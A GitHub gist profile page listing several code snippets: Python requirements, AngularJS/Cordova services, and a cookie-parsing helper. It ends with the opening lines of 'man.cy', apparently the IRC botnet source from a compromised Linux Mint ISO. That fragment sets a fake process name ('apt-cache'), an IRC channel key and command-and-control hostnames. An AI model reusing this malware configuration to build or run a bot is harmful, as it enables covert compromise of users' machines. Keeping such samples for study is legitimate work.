Skip to content

Instantly share code, notes, and snippets.

View LunarArcanus's full-sized avatar
🏠
Working from home

Eynar LunarArcanus

🏠
Working from home
View GitHub Profile
@LunarArcanus
LunarArcanus / requirements.txt
Created September 3, 2018 10:30
Requirements MV
awsebcli==3.12.4
beautifulsoup4==4.6.0
bleach==2.1.2
botocore==1.9.12
cement==2.8.2
certifi==2018.1.18
chardet==3.0.4
colorama==0.3.7
Django==1.10
django-contrib-comments==1.8.0
@LunarArcanus
LunarArcanus / app.js
Created July 2, 2016 07:37 — forked from jgoux/app.js
Ionic / AngularJS service wrapper for Web SQL API / SQLite-Cordova-Plugin
angular.module('myApp', ['ionic', 'myApp.services', 'myApp.controllers'])
.run(function(DB) {
DB.init();
});
@LunarArcanus
LunarArcanus / gist:dd455262e45997cc13470c71d72368d6
Created July 1, 2016 10:10 — forked from Urbiwanus/gist:c1e456f889f53e940a11
Cordova Paypal Integration AngularJS
app.factory('PaypalService', ['$q', '$ionicPlatform', 'shopSettings', '$filter', '$timeout', function ($q, $ionicPlatform, shopSettings, $filter, $timeout) {
var init_defer;
/**
* Service object
* @type object
*/
var service = {
@LunarArcanus
LunarArcanus / jscookiedict.py
Created February 28, 2016 16:06
Function to create a dict out of a document.cookie JS string
def make_cookie(string):
"""Creates a dictionary from the cookie string that
document.cookie returns (can be used in e.g requests)"""
cookie_split = [c.strip() for c in string.split(";")]
cookie_dict = dict(map(lambda x: x.split("="), cookie_split))
return cookie_dict
@LunarArcanus
LunarArcanus / man.cy
Created February 21, 2016 14:08 — forked from kurobeats/man.cy
man.cy from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
"updates.absentvodka.com",
"updates.mintylinux.com",
"eggstrawdinarry.mylittlerepo.com",